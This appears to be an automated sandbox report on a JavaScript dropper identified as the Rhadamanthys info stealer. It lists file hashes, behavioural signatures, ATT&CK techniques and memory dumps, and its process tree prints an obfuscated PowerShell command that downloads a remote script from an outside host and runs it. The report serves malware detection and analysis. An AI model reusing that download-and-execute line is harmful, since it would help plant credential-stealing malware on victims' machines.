rhadamanthys | b112d4db1d6ae3827653246c4f2b7413502ca1098ca2a1d00b6535b26ece0603

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2025, 22:21

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General

Target

output2.js
Size

19KB
MD5

7ad2fc01023899cc905e620961271150
SHA1

7cd2e2d7086d59a3697c96ccfd705707ed2c3a87
SHA256

b112d4db1d6ae3827653246c4f2b7413502ca1098ca2a1d00b6535b26ece0603
SHA512

c710a96754e9b7a29c7113643bbb4b36012cc3a9d7491fc4b26a1059804c2e3f10039af7fdcdd1cc3a00768d515ed67855b805f45a83b130fb9c28a16f38769f
SSDEEP

384:8R/vtrEGocUVdRtacNP8t1JaZHVI2+sRLlejNZdbjzn:uZEGon8t1CL8jlT

Score

10^/10

rhadamanthys discovery execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pegas.durablyscrimmage.rent/awjxs.recaptcha

Signatures

Detects Rhadamanthys payload 1 IoCs

resource	yara_rule
behavioral2/memory/4032-1383-0x0000000000600000-0x0000000000681000-memory.dmp	Rhadamanthys_v8

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2580 created 3360	2580	powershell.exe	55
PID 4032 created 2656	4032	powershell.exe	44

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	2580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2580	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2580 set thread context of 4032	2580	powershell.exe	107

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1492	4032	WerFault.exe	107

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2580	powershell.exe
2580	powershell.exe
2580	powershell.exe
2580	powershell.exe
2580	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
220	svchost.exe
220	svchost.exe
220	svchost.exe
220	svchost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 2580	2092	wscript.exe	85
PID 2092 wrote to memory of 2580	2092	wscript.exe	85
PID 2092 wrote to memory of 2580	2092	wscript.exe	85
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 2580 wrote to memory of 4032	2580	powershell.exe	107
PID 4032 wrote to memory of 220	4032	powershell.exe	108
PID 4032 wrote to memory of 220	4032	powershell.exe	108
PID 4032 wrote to memory of 220	4032	powershell.exe	108
PID 4032 wrote to memory of 220	4032	powershell.exe	108
PID 4032 wrote to memory of 220	4032	powershell.exe	108

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2656
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:220

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3360
- C:\Windows\system32\wscript.exe
  wscript.exe C:\Users\Admin\AppData\Local\Temp\output2.js
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -c ([System.Net.WebClient]::New().DownloadString('https://pegas.durablyscrimmage.rent/awjxs.recaptcha'))|.( (GV She*d -ValueO)[1]+(ChildItem Variable:S*ell*d).Value[13]+'x')
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2580
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4032 -s 324
    3⤵
    - Program crash
    PID:1492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4032 -ip 4032
1⤵
PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j5jumobb.ikz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/220-1392-0x00000000007F0000-0x00000000007FA000-memory.dmp

Filesize
40KB

Download
memory/2580-0-0x0000000074DEE000-0x0000000074DEF000-memory.dmp

Filesize
4KB

Download
memory/2580-1-0x0000000002850000-0x0000000002886000-memory.dmp

Filesize
216KB

Download
memory/2580-3-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-2-0x0000000004F00000-0x0000000005528000-memory.dmp

Filesize
6.2MB

Download
memory/2580-4-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-5-0x0000000004E40000-0x0000000004E62000-memory.dmp

Filesize
136KB

Download
memory/2580-6-0x0000000005530000-0x0000000005596000-memory.dmp

Filesize
408KB

Download
memory/2580-7-0x00000000055A0000-0x0000000005606000-memory.dmp

Filesize
408KB

Download
memory/2580-13-0x0000000005610000-0x0000000005964000-memory.dmp

Filesize
3.3MB

Download
memory/2580-19-0x0000000005E20000-0x0000000005E6C000-memory.dmp

Filesize
304KB

Download
memory/2580-18-0x0000000005DF0000-0x0000000005E0E000-memory.dmp

Filesize
120KB

Download
memory/2580-20-0x0000000007840000-0x0000000007EBA000-memory.dmp

Filesize
6.5MB

Download
memory/2580-21-0x0000000007200000-0x000000000721A000-memory.dmp

Filesize
104KB

Download
memory/2580-22-0x0000000007360000-0x00000000073F6000-memory.dmp

Filesize
600KB

Download
memory/2580-23-0x00000000072C0000-0x00000000072E2000-memory.dmp

Filesize
136KB

Download
memory/2580-24-0x0000000008470000-0x0000000008A14000-memory.dmp

Filesize
5.6MB

Download
memory/2580-25-0x0000000074DEE000-0x0000000074DEF000-memory.dmp

Filesize
4KB

Download
memory/2580-26-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-27-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-28-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-29-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-31-0x00000000082C0000-0x000000000841E000-memory.dmp

Filesize
1.4MB

Download
memory/2580-32-0x0000000008CD0000-0x0000000008E0E000-memory.dmp

Filesize
1.2MB

Download
memory/2580-33-0x0000000008E10000-0x0000000008EA2000-memory.dmp

Filesize
584KB

Download
memory/2580-37-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-47-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-97-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-95-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-93-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-91-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-89-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-87-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-85-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-84-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-81-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-79-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-77-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-75-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-73-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-71-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-69-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-67-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-63-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-61-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-59-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-55-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-53-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-52-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-49-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-45-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-43-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-41-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-39-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-35-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-65-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-57-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-34-0x0000000008CD0000-0x0000000008E07000-memory.dmp

Filesize
1.2MB

Download
memory/2580-1356-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-1357-0x0000000007730000-0x00000000077C8000-memory.dmp

Filesize
608KB

Download
memory/2580-1358-0x0000000036F10000-0x0000000036FA4000-memory.dmp

Filesize
592KB

Download
memory/2580-1359-0x00000000077D0000-0x000000000781C000-memory.dmp

Filesize
304KB

Download
memory/2580-1360-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-1361-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-1363-0x0000000004AF0000-0x0000000004B44000-memory.dmp

Filesize
336KB

Download
memory/2580-1367-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-1369-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-1380-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/2580-1381-0x0000000074DE0000-0x0000000075590000-memory.dmp

Filesize
7.7MB

Download
memory/4032-1383-0x0000000000600000-0x0000000000681000-memory.dmp

Filesize
516KB

Download
memory/4032-1384-0x0000000000A20000-0x0000000000E20000-memory.dmp

Filesize
4.0MB

Download
memory/4032-1389-0x0000000000A20000-0x0000000000E20000-memory.dmp

Filesize
4.0MB

Download
memory/4032-1397-0x0000000000A20000-0x0000000000E20000-memory.dmp

Filesize
4.0MB

Download